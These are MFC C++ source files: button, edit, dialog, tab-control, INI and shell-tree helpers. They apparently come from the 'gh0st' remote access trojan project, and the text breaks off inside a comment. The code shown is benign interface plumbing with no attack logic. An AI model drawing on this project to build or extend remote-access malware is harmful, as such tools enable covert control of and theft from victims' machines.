// DAMAGES OR EVEN FUNCTIONALITY CAN BE TAKEN. THE USER MUST ASSUME THE ENTIRE
// RISK OF USING THIS SOFTWARE.
//
// Terms of use
// ------------
// THIS SOFTWARE IS FREE FOR PERSONAL USE OR FREEWARE APPLICATIONS.
// IF YOU USE THIS SOFTWARE IN COMMERCIAL OR SHAREWARE APPLICATIONS YOU
// ARE GENTLY ASKED TO DONATE 5$ (FIVE U.S. DOLLARS) TO THE AUTHOR:
//
// Davide Calabro'
// P.O. Box 65
// 21019 Somma Lombardo (VA)
// Italy
//
#ifndef _WINXPBUTTONST_H_
#define _WINXPBUTTONST_H_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifdef UNDER_CE
#include "CeBtnST.h"
#define BASE_BUTTONST CCeButtonST
#else
#include "BtnST.h"
#define BASE_BUTTONST CButtonST
#endif
class CWinXPButtonST : public BASE_BUTTONST
{
public:
CWinXPButtonST();
virtual ~CWinXPButtonST();
DWORD SetRounded(BOOL bRounded, BOOL bRepaint = TRUE);
protected:
virtual DWORD OnDrawBackground(CDC* pDC, CRect* pRect);
virtual DWORD OnDrawBorder(CDC* pDC, CRect* pRect);
private:
BOOL m_bIsRounded; // Borders must be rounded?
};
#endif
| 07321-rat | trunk/gh0st/control/WinXPButtonST.h | C++ | asf20 | 1,571 |
// HoverEdit.cpp : implementation file
//
#include "stdafx.h"
#include "HoverEdit.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CHoverEdit
CHoverEdit::CHoverEdit()
{
}
CHoverEdit::~CHoverEdit()
{
}
BEGIN_MESSAGE_MAP(CHoverEdit, CEdit)
//{{AFX_MSG_MAP(CHoverEdit)
ON_WM_NCPAINT()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CHoverEdit message handlers
void CHoverEdit::OnHoverEnter()
{
Redraw();
}
void CHoverEdit::OnHoverLeave()
{
Redraw();
}
void CHoverEdit::Redraw()
{
RedrawWindow(NULL,NULL,RDW_FRAME|RDW_INVALIDATE);
}
void CHoverEdit::OnNcPaint()
{
CWindowDC DC(this);
CRect Rect;
GetWindowRect(&Rect);
if (IsHover())
{
DC.Rectangle(0,0,Rect.Width(),Rect.Height());
}
else
{
DC.DrawEdge(CRect(0,0,Rect.Width(),Rect.Height()),EDGE_SUNKEN,BF_FLAT|BF_RECT);
}
}
| 07321-rat | trunk/gh0st/control/HoverEdit.cpp | C++ | asf20 | 1,058 |
////////////////////////////////////////////////////////////////
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
//
//////////////////
// Helper class to build a dialog template in memory. Only supports what's
// needed for CStringDialog.
//
class CDlgTemplateBuilder {
protected:
WORD* m_pBuffer; // internal buffer holds dialog template
WORD* m_pNext; // next WORD to copy stuff
WORD* m_pEndBuf; // end of buffer
// align ptr to nearest DWORD
WORD* AlignDWORD(WORD* ptr) {
ptr++; // round up to nearest DWORD
LPARAM lp = (LPARAM)ptr; // convert to long
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
return (WORD*)lp;
}
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
WORD nID, DWORD dwStyleEx);
public:
// Windows predefined atom names
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
CDlgTemplateBuilder(UINT nBufLen=1024);
~CDlgTemplateBuilder();
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
// functions to build the template
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
WORD* AddText(WORD* buf, LPCTSTR text);
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
};
//////////////////
// Class to implement a simple string input dialog. Kind of like MessageBox
// but it accepts a single string input from user. You provide the prompt. To
// use:
//
// CStringDialog dlg; // string dialog
// dlg.m_bRequired = m_bRequired; // if string is required
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
// dlg.DoModal(); // run dialog
// CString result = dlg.m_str; // whatever the user typed
//
class CStringDialog : public CDialog {
public:
CString m_str; // the string returned [in,out]
BOOL m_bRequired; // string required?
HICON m_hIcon; // icon if not supplied
CStringDialog() { }
~CStringDialog() { }
// Call this to create the template with given caption and prompt.
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
WORD nIDIcon=(WORD)IDI_QUESTION);
protected:
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
enum { IDICON=1, IDEDIT }; // control IDs
// MFC virtual overrides
virtual BOOL OnInitDialog();
virtual void OnOK();
virtual void DoDataExchange(CDataExchange* pDX)
{
DDX_Text(pDX, IDEDIT, m_str);
DDV_MaxChars(pDX, m_str, 256);
}
};
| 07321-rat | trunk/gh0st/StringDlg.h | C++ | asf20 | 2,860 |
// gh0stDoc.h : interface of the CGh0stDoc class
//
/////////////////////////////////////////////////////////////////////////////
#if !defined(AFX_GH0STDOC_H__57FB1788_3C2A_40A9_BAB7_3F192505E38E__INCLUDED_)
#define AFX_GH0STDOC_H__57FB1788_3C2A_40A9_BAB7_3F192505E38E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CGh0stDoc : public CDocument
{
protected: // create from serialization only
CGh0stDoc();
DECLARE_DYNCREATE(CGh0stDoc)
// Attributes
public:
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CGh0stDoc)
public:
virtual void Serialize(CArchive& ar);
virtual void DeleteContents();
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CGh0stDoc();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
// Generated message map functions
protected:
//{{AFX_MSG(CGh0stDoc)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_GH0STDOC_H__57FB1788_3C2A_40A9_BAB7_3F192505E38E__INCLUDED_)
| 07321-rat | trunk/gh0st/gh0stDoc.h | C++ | asf20 | 1,465 |
// IniFile.cpp: implementation of the CIniFile class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "gh0st.h"
#include "IniFile.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
#define MAX_LENGTH 256
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CIniFile::CIniFile()
{
char szAppName[MAX_PATH];
int len;
::GetModuleFileName(AfxGetInstanceHandle(), szAppName, sizeof(szAppName));
len = strlen(szAppName);
for(int i=len; i>0; i--)
{
if(szAppName[i] == '.')
{
szAppName[i+1] = '\0';
break;
}
}
strcat(szAppName, "ini");
IniFileName = szAppName;
}
CIniFile::~CIniFile()
{
}
CString CIniFile::GetString(CString AppName,CString KeyName,CString Default)
{
TCHAR buf[MAX_LENGTH];
::GetPrivateProfileString(AppName, KeyName, Default, buf, sizeof(buf), IniFileName);
return buf;
}
int CIniFile::GetInt(CString AppName,CString KeyName,int Default)
{
return ::GetPrivateProfileInt(AppName, KeyName, Default, IniFileName);
}
unsigned long CIniFile::GetDWORD(CString AppName,CString KeyName,unsigned long Default)
{
TCHAR buf[MAX_LENGTH];
CString temp;
temp.Format("%u",Default);
::GetPrivateProfileString(AppName, KeyName, temp, buf, sizeof(buf), IniFileName);
return atol(buf);
}
BOOL CIniFile::SetString(CString AppName,CString KeyName,CString Data)
{
return ::WritePrivateProfileString(AppName, KeyName, Data, IniFileName);
}
BOOL CIniFile::SetInt(CString AppName,CString KeyName,int Data)
{
CString temp;
temp.Format("%d", Data);
return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
}
BOOL CIniFile::SetDouble(CString AppName,CString KeyName,double Data)
{
CString temp;
temp.Format("%f",Data);
return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
}
BOOL CIniFile::SetDWORD(CString AppName,CString KeyName,unsigned long Data)
{
CString temp;
temp.Format("%u",Data);
return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
} | 07321-rat | trunk/gh0st/IniFile.cpp | C++ | asf20 | 2,242 |
#pragma once
/**********************************************************************
**
** CustomTabCtrl.h : include file
**
** by Andrzej Markowski June 2004
**
**********************************************************************/
#include <Afxtempl.h>
#include <afxcmn.h>
#include "themeutil.h"
#ifndef WS_EX_LAYOUTRTL
#define WS_EX_LAYOUTRTL 0x400000
#endif
// CustomTabCtrlItem
#define TAB_SHAPE1 0 // Invisible
#define TAB_SHAPE2 1 // __
// | /
// |/
#define TAB_SHAPE3 2 // |\
// |/
#define TAB_SHAPE4 3 // ____________
// \ /
// \________/
#define TAB_SHAPE5 4 // ___________
// \ \
// \________/
#define RECALC_PREV_PRESSED 0
#define RECALC_NEXT_PRESSED 1
#define RECALC_ITEM_SELECTED 2
#define RECALC_RESIZED 3
#define RECALC_FIRST_PRESSED 4
#define RECALC_LAST_PRESSED 5
#define RECALC_EDIT_RESIZED 6
#define RECALC_CLOSE_PRESSED 7
#define MAX_LABEL_TEXT 30
typedef struct _CTC_NMHDR
{
NMHDR hdr;
int nItem;
TCHAR pszText[MAX_LABEL_TEXT];
LPARAM lParam;
RECT rItem;
POINT ptHitTest;
BOOL fSelected;
BOOL fHighlighted;
} CTC_NMHDR;
class CCustomTabCtrlItem
{
friend class CCustomTabCtrl;
private:
CCustomTabCtrlItem(CString sText, LPARAM lParam);
void ComputeRgn(BOOL fOnTop);
void Draw(CDC& dc, CFont& font, BOOL fOnTop, BOOL fRTL);
BOOL HitTest(CPoint pt) { return (m_bShape && m_rgn.PtInRegion(pt)) ? TRUE : FALSE; }
void GetRegionPoints(const CRect& rc, CPoint* pts, BOOL fOnTop) const;
void GetDrawPoints(const CRect& rc, CPoint* pts, BOOL fOnTop) const;
void operator=(const CCustomTabCtrlItem &other);
private:
CString m_sText;
LPARAM m_lParam;
CRect m_rect;
CRect m_rectText;
CRgn m_rgn;
BYTE m_bShape;
BOOL m_fSelected;
BOOL m_fHighlighted;
BOOL m_fHighlightChanged;
};
// CCustomTabCtrl
// styles
#define CTCS_FIXEDWIDTH 1 // Makes all tabs the same width.
#define CTCS_FOURBUTTONS 2 // Four buttons (First, Prev, Next, Last)
#define CTCS_AUTOHIDEBUTTONS 4 // Auto hide buttons
#define CTCS_TOOLTIPS 8 // Tooltips
#define CTCS_MULTIHIGHLIGHT 16 // Multi highlighted items
#define CTCS_EDITLABELS 32 // Allows item text to be edited in place
#define CTCS_DRAGMOVE 64 // Allows move items
#define CTCS_DRAGCOPY 128 // Allows copy items
#define CTCS_CLOSEBUTTON 256 // Close button
#define CTCS_BUTTONSAFTER 512 // Button after items
#define CTCS_TOP 1024 // Location on top
#define CTCS_RIGHT 2048 // Location on right
#define CTCS_LEFT 3072 // Location on left
// hit test
#define CTCHT_ONFIRSTBUTTON -1
#define CTCHT_ONPREVBUTTON -2
#define CTCHT_ONNEXTBUTTON -3
#define CTCHT_ONLASTBUTTON -4
#define CTCHT_ONCLOSEBUTTON -5
#define CTCHT_NOWHERE -6
// notification messages
#define CTCN_CLICK NM_CLICK
#define CTCN_RCLICK NM_RCLICK
#define CTCN_DBLCLK NM_DBLCLK
#define CTCN_RDBLCLK NM_RDBLCLK
#define CTCN_OUTOFMEMORY NM_OUTOFMEMORY
#define CTCN_SELCHANGE NM_FIRST
#define CTCN_HIGHLIGHTCHANGE NM_FIRST + 1
#define CTCN_ITEMMOVE NM_FIRST + 2
#define CTCN_ITEMCOPY NM_FIRST + 3
#define CTCN_LABELUPDATE NM_FIRST + 4
#define CTCID_FIRSTBUTTON -1
#define CTCID_PREVBUTTON -2
#define CTCID_NEXTBUTTON -3
#define CTCID_LASTBUTTON -4
#define CTCID_CLOSEBUTTON -5
#define CTCID_NOBUTTON -6
#define CTCID_EDITCTRL 1
#define REPEAT_TIMEOUT 250
// error codes
#define CTCERR_NOERROR 0
#define CTCERR_OUTOFMEMORY -1
#define CTCERR_INDEXOUTOFRANGE -2
#define CTCERR_NOEDITLABELSTYLE -3
#define CTCERR_NOMULTIHIGHLIGHTSTYLE -4
#define CTCERR_ITEMNOTSELECTED -5
#define CTCERR_ALREADYINEDITMODE -6
#define CTCERR_TEXTTOOLONG -7
#define CTCERR_NOTOOLTIPSSTYLE -8
#define CTCERR_CREATETOOLTIPFAILED -9
#define CTCERR_EDITNOTSUPPORTED -10
// button states
#define BNST_INVISIBLE 0
#define BNST_NORMAL DNHZS_NORMAL
#define BNST_HOT DNHZS_HOT
#define BNST_PRESSED DNHZS_PRESSED
#define CustomTabCtrl_CLASSNAME _T("CCustomTabCtrl") // Window class name
class CCustomTabCtrl : public CWnd
{
public:
// Construction
CCustomTabCtrl();
virtual ~CCustomTabCtrl();
BOOL Create(UINT dwStyle, const CRect & rect, CWnd * pParentWnd, UINT nID);
// Attributes
int GetItemCount() {return m_aItems.GetSize();}
int GetCurSel() { return m_nItemSelected; }
int SetCurSel(int nItem);
int IsItemHighlighted(int nItem);
int HighlightItem(int nItem, BOOL fHighlight);
int GetItemData(int nItem, DWORD& dwData);
int SetItemData(int nItem, DWORD dwData);
int GetItemText(int nItem, CString& sText);
int SetItemText(int nItem, CString sText);
int GetItemRect(int nItem, CRect& rect) const;
int SetItemTooltipText(int nItem, CString sText);
void SetDragCursors(HCURSOR hCursorMove, HCURSOR hCursorCopy);
BOOL ModifyStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags=0);
BOOL ModifyStyleEx(DWORD dwRemove, DWORD dwAdd, UINT nFlags=0);
void SetControlFont(const LOGFONT& lf, BOOL fRedraw=FALSE);
static const LOGFONT& GetDefaultFont() {return lf_default;}
BOOL IsVertical() { return (GetStyle()&CTCS_TOP && GetStyle()&CTCS_RIGHT) || GetStyle()&CTCS_RIGHT;}
// Operations
int InsertItem(int nItem, CString sText, LPARAM lParam=0);
int DeleteItem(int nItem);
void DeleteAllItems();
int MoveItem(int nItemSrc, int nItemDst);
int CopyItem(int nItemSrc, int nItemDst);
int HitTest(CPoint pt);
int EditLabel(int nItem);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CCustomTabCtrl)
protected:
virtual void PreSubclassWindow();
virtual BOOL PreTranslateMessage(MSG* pMsg);
//}}AFX_VIRTUAL
protected:
//{{AFX_MSG(CCustomTabCtrl)
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg LONG OnMouseLeave(WPARAM wParam, LPARAM lParam);
afx_msg LONG OnThemeChanged(WPARAM wParam, LPARAM lParam);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnPaint();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point);
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnUpdateEdit();
afx_msg void OnRButtonDblClk(UINT nFlags, CPoint point);
//}}AFX_MSG
afx_msg LRESULT OnSizeParent(WPARAM, LPARAM lParam);
DECLARE_MESSAGE_MAP()
private:
void RecalcLayout(int nRecalcType,int nItem);
void RecalcEditResized(int nOffset, int nItem);
void RecalcOffset(int nOffset);
int RecalcRectangles();
BOOL RegisterWindowClass();
int ProcessLButtonDown(int nHitTest, UINT nFlags, CPoint point);
int MoveItem(int nItemSrc, int nItemDst, BOOL fMouseSel);
int CopyItem(int nItemSrc, int nItemDst, BOOL fMouseSel);
int SetCurSel(int nItem, BOOL fMouseSel, BOOL fCtrlPressed);
int HighlightItem(int nItem, BOOL fMouseSel, BOOL fCtrlPressed);
void DrawGlyph(CDC& dc, CPoint& pt, int nImageNdx, int nColorNdx);
void DrawBk(CDC& dc, CRect& r, HBITMAP hBmp, BOOL fIsImageHorLayout, MY_MARGINS& mrgn, int nImageNdx);
BOOL NotifyParent(UINT code, int nItem, CPoint pt);
int EditLabel(int nItem, BOOL fMouseSel);
private:
static LOGFONT lf_default;
static BYTE m_bBitsGlyphs[];
HCURSOR m_hCursorMove;
HCURSOR m_hCursorCopy;
CFont m_Font;
CFont m_FontSelected;
int m_nItemSelected;
int m_nItemNdxOffset;
int m_nItemDragDest;
int m_nPrevState;
int m_nNextState;
int m_nFirstState;
int m_nLastState;
int m_nCloseState;
int m_nButtonIDDown;
DWORD m_dwLastRepeatTime;
COLORREF m_rgbGlyph[4];
CBitmap m_bmpGlyphsMono;
HBITMAP m_hBmpBkLeftSpin;
HBITMAP m_hBmpBkRightSpin;
BOOL m_fIsLeftImageHorLayout;
BOOL m_fIsRightImageHorLayout;
MY_MARGINS m_mrgnLeft;
MY_MARGINS m_mrgnRight;
CToolTipCtrl m_ctrlToolTip;
CEdit m_ctrlEdit;
CArray <CCustomTabCtrlItem*,CCustomTabCtrlItem*> m_aItems;
};
| 07321-rat | trunk/gh0st/CustomTabCtrl.h | C++ | asf20 | 8,596 |
// ShellTree.cpp : implementation file
//
#include "stdafx.h"
#include "ShellTree.h"
#include "SHFileInfo.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CShellTree
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 24 Feb 1999 - Overloaded PopulateTree(LPCTSTR lpPath) in the
// class CShellTree to fill the tree based upon
// path. Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
// ==========================================================================
/////////////////////////////////////////////////////////////////////////////
CShellTree::CShellTree()
{
}
CShellTree::~CShellTree()
{
}
BEGIN_MESSAGE_MAP(CShellTree, CTreeCtrl)
//{{AFX_MSG_MAP(CShellTree)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/****************************************************************************
*
* FUNCTION: PopulateTree()
*
* PURPOSE: Processes the File.Fill/RefreshTree command
*
****************************************************************************/
void CShellTree::PopulateTree()
{
LPSHELLFOLDER lpsf=NULL;
LPITEMIDLIST lpi=NULL;
HRESULT hr;
TV_SORTCB tvscb;
// Get a pointer to the desktop folder.
hr=SHGetDesktopFolder(&lpsf);
if (SUCCEEDED(hr))
{
// Initialize the tree view to be empty.
DeleteAllItems();
// Fill in the tree view from the root.
FillTreeView(lpsf, NULL, TVI_ROOT);
//TunnelFillTree(lpsf, NULL, TVI_ROOT);
// Release the folder pointer.
lpsf->Release();
}
tvscb.hParent = TVI_ROOT;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
// Sort the items in the tree view
SortChildrenCB(&tvscb/*, FALSE*/);
HTREEITEM hItem;
hItem = GetRootItem();
Expand(hItem,TVE_EXPAND);
Select(GetRootItem(),TVGN_CARET);
}
/****************************************************************************
*
* FUNCTION: PopulateTree()
*
* PURPOSE: Processes the File.Fill/RefreshTree command
* This overload has the ability to open from a
* special folderlocation like SHBrowseForFolder()
*
* WARNING: TunnelTree() will not work if you use a special
* folderlocation
*
****************************************************************************/
void CShellTree::PopulateTree(int nFolder)
{
LPSHELLFOLDER lpsf=NULL,lpsf2=NULL;
LPITEMIDLIST lpi=NULL;
HRESULT hr;
TV_SORTCB tvscb;
// Get a pointer to the desktop folder.
hr=SHGetDesktopFolder(&lpsf);
if (SUCCEEDED(hr))
{
// Initialize the tree view to be empty.
DeleteAllItems();
if (!SUCCEEDED(SHGetSpecialFolderLocation(
m_hWnd, nFolder, &lpi)))
{
lpi=NULL;
FillTreeView(lpsf,NULL,TVI_ROOT);
}
else
{
hr=lpsf->BindToObject(lpi,
0, IID_IShellFolder,(LPVOID *)&lpsf2);
if(SUCCEEDED(hr))
{
// Fill in the tree view from the root.
FillTreeView(lpsf2, lpi, TVI_ROOT);
lpsf2->Release();
}
else
FillTreeView(lpsf,NULL,TVI_ROOT);
}
// Release the folder pointer.
lpsf->Release();
}
tvscb.hParent = TVI_ROOT;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
// Sort the items in the tree view
SortChildrenCB(&tvscb/*, FALSE*/);
HTREEITEM hItem;
hItem = GetRootItem();
Expand(hItem,TVE_EXPAND);
Select(GetRootItem(),TVGN_CARET);
}
/****************************************************************************
*
* FUNCTION: FillTreeView( LPSHELLFOLDER lpsf,
* LPITEMIDLIST lpifq,
* HTREEITEM hParent)
*
* PURPOSE: Fills a branch of the TreeView control. Given the
* shell folder, enumerate the subitems of this folder,
* and add the appropriate items to the tree.
*
* PARAMETERS:
* lpsf - Pointer to shell folder that we want to enumerate items
* lpifq - Fully qualified item id list to the item that we are enumerating
* items for. In other words, this is the PIDL to the item
* identified by the lpsf parameter.
* hParent - Parent node
*
* COMMENTS:
* This function enumerates the items in the folder identifed by lpsf.
* Note that since we are filling the left hand pane, we will only add
* items that are folders and/or have sub-folders. We *could* put all
* items in here if we wanted, but that's not the intent.
*
****************************************************************************/
void CShellTree::FillTreeView(LPSHELLFOLDER lpsf, LPITEMIDLIST lpifq, HTREEITEM hParent)
{
TV_ITEM tvi; // TreeView Item.
TV_INSERTSTRUCT tvins; // TreeView Insert Struct.
HTREEITEM hPrev = NULL; // Previous Item Added.
LPSHELLFOLDER lpsf2=NULL;
LPENUMIDLIST lpe=NULL;
LPITEMIDLIST lpi=NULL, lpiTemp=NULL, lpifqThisItem=NULL;
LPTVITEMDATA lptvid=NULL;
LPMALLOC lpMalloc=NULL;
ULONG ulFetched;
UINT uCount=0;
HRESULT hr;
char szBuff[256];
HWND hwnd=::GetParent(m_hWnd);
// Allocate a shell memory object.
hr=::SHGetMalloc(&lpMalloc);
if (FAILED(hr))
return;
if (SUCCEEDED(hr))
{
// Get the IEnumIDList object for the given folder.
hr=lpsf->EnumObjects(hwnd, SHCONTF_FOLDERS | SHCONTF_NONFOLDERS, &lpe);
if (SUCCEEDED(hr))
{
// Enumerate throught the list of folder and non-folder objects.
while (S_OK==lpe->Next(1, &lpi, &ulFetched))
{
//Create a fully qualified path to the current item
//The SH* shell api's take a fully qualified path pidl,
//(see GetIcon above where I call SHGetFileInfo) whereas the
//interface methods take a relative path pidl.
ULONG ulAttrs = SFGAO_HASSUBFOLDER | SFGAO_FOLDER;
// Determine what type of object we have.
lpsf->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lpi, &ulAttrs);
if (ulAttrs & (SFGAO_HASSUBFOLDER | SFGAO_FOLDER))
{
//We need this next if statement so that we don't add things like
//the MSN to our tree. MSN is not a folder, but according to the
//shell it has subfolders.
if (ulAttrs & SFGAO_FOLDER)
{
tvi.mask= TVIF_TEXT | TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_PARAM;
if (ulAttrs & SFGAO_HASSUBFOLDER)
{
//This item has sub-folders, so let's put the + in the TreeView.
//The first time the user clicks on the item, we'll populate the
//sub-folders.
tvi.cChildren=1;
tvi.mask |= TVIF_CHILDREN;
}
//OK, let's get some memory for our ITEMDATA struct
lptvid = (LPTVITEMDATA)lpMalloc->Alloc(sizeof(TVITEMDATA));
if (!lptvid)
goto Done; // Error - could not allocate memory.
//Now get the friendly name that we'll put in the treeview.
if (!GetName(lpsf, lpi, SHGDN_NORMAL, szBuff))
goto Done; // Error - could not get friendly name.
tvi.pszText = szBuff;
tvi.cchTextMax = MAX_PATH;
lpifqThisItem=ConcatPidls(lpifq, lpi);
//Now, make a copy of the ITEMIDLIST
lptvid->lpi=CopyITEMID(lpMalloc, lpi);
GetNormalAndSelectedIcons(lpifqThisItem, &tvi);
lptvid->lpsfParent=lpsf; //Store the parent folders SF
lpsf->AddRef();
lptvid->lpifq=ConcatPidls(lpifq, lpi);
tvi.lParam = (LPARAM)lptvid;
// Populate the TreeVeiw Insert Struct
// The item is the one filled above.
// Insert it after the last item inserted at this level.
// And indicate this is a root entry.
tvins.item = tvi;
tvins.hInsertAfter = hPrev;
tvins.hParent = hParent;
// Add the item to the tree
hPrev = InsertItem(&tvins);
}
// Free this items task allocator.
lpMalloc->Free(lpifqThisItem);
lpifqThisItem=0;
}
lpMalloc->Free(lpi); //Free the pidl that the shell gave us.
lpi=0;
}
}
}
else
return;
Done:
if (lpe)
lpe->Release();
//The following 2 if statements will only be TRUE if we got here on an
//error condition from the "goto" statement. Otherwise, we free this memory
//at the end of the while loop above.
if (lpi && lpMalloc)
lpMalloc->Free(lpi);
if (lpifqThisItem && lpMalloc)
lpMalloc->Free(lpifqThisItem);
if (lpMalloc)
lpMalloc->Release();
}
/****************************************************************************
*
* FUNCTION: GetNormalAndSelectedIcons(LPITEMIDLIST lpifq, LPTV_ITEM lptvitem)
*
* PURPOSE: Gets the index for the normal and selected icons for the current item.
*
* PARAMETERS:
* lpifq - Fully qualified item id list for current item.
* lptvitem - Pointer to treeview item we are about to add to the tree.
*
****************************************************************************/
void CShellTree::GetNormalAndSelectedIcons(LPITEMIDLIST lpifq,
LPTV_ITEM lptvitem)
{
//Note that we don't check the return value here because if GetIcon()
//fails, then we're in big trouble...
lptvitem->iImage = GetItemIcon(lpifq, SHGFI_PIDL |
SHGFI_SYSICONINDEX |
SHGFI_SMALLICON);
lptvitem->iSelectedImage = GetItemIcon(lpifq, SHGFI_PIDL |
SHGFI_SYSICONINDEX |
SHGFI_SMALLICON |
SHGFI_OPENICON);
return;
}
/****************************************************************************
*
* FUNCTION: TreeViewCompareProc(LPARAM, LPARAM, LPARAM)
*
* PURPOSE: Callback routine for sorting the tree
*
****************************************************************************/
int CALLBACK CShellTree::TreeViewCompareProc(LPARAM lparam1,
LPARAM lparam2, LPARAM lparamSort)
{
LPTVITEMDATA lptvid1=(LPTVITEMDATA)lparam1;
LPTVITEMDATA lptvid2=(LPTVITEMDATA)lparam2;
HRESULT hr;
hr = lptvid1->lpsfParent->CompareIDs(0,lptvid1->lpi,lptvid2->lpi);
if (FAILED(hr))
return 0;
return (short)SCODE_CODE(GetScode(hr));
}
/////////////////////////////////////////////////////////////////////////////
// CShellTree message handlers
/****************************************************************************
*
* FUNCTION: OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult)
*
* PURPOSE: Reponds to an TVN_ITEMEXPANDING message in order to fill up
* subdirectories. Pass the parameters from OnItemExpanding() to
* this function. You need to do that or your folders won't
* expand.
*
* OTHER: It can also be used to update a corresponding listview. Seem MFCENUM
*
* MESSAGEMAP: TVN_ITEMEXPANDING
*
****************************************************************************/
void CShellTree::OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
HRESULT hr;
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
TV_SORTCB tvscb;
NM_TREEVIEW* pnmtv = (NM_TREEVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
if ((pnmtv->itemNew.state & TVIS_EXPANDEDONCE))
return;
lptvid=(LPTVITEMDATA)pnmtv->itemNew.lParam;
if (lptvid)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0, IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
FillTreeView(lpsf2,
lptvid->lpifq,
pnmtv->itemNew.hItem);
}
tvscb.hParent = pnmtv->itemNew.hItem;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
SortChildrenCB(&tvscb /*, FALSE*/);
}
*pResult = 0;
}
/****************************************************************************
*
* FUNCTION: GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult)
*
* PURPOSE: Diplays a popup menu for the folder selected. Pass the
* parameters from Rclick() to this function.
*
* MESSAGEMAP: NM_RCLICK;
*
****************************************************************************/
void CShellTree::GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
POINT pt;
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
TV_HITTESTINFO tvhti;
TV_ITEM tvi;
// TODO: Add your control notification handler code here
::GetCursorPos((LPPOINT)&pt);
ScreenToClient(&pt);
tvhti.pt=pt;
HitTest(&tvhti);
SelectItem(tvhti.hItem);
if (tvhti.flags & (TVHT_ONITEMLABEL|TVHT_ONITEMICON))
{
ClientToScreen(&pt);
tvi.mask=TVIF_PARAM;
tvi.hItem=tvhti.hItem;
if (!GetItem(&tvi)){
return;
}
lptvid=(LPTVITEMDATA)tvi.lParam;
DoTheMenuThing(::GetParent(m_hWnd),
lptvid->lpsfParent, lptvid->lpi, &pt);
}
*pResult = 0;
}
/****************************************************************************
*
* FUNCTION: OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath)
*
* PURPOSE: Call this function if for example you want to put the path of the folder
* selected inside a combobox or an edit window. You would pass the
* parameters from OnSelChanged() to this function along with a CString object
* that will hold the folder path. If the path is not
* in the filesystem(eg MyComputer) it returns false.
*
* MESSAGEMAP: TVN_SELCHANGED
*
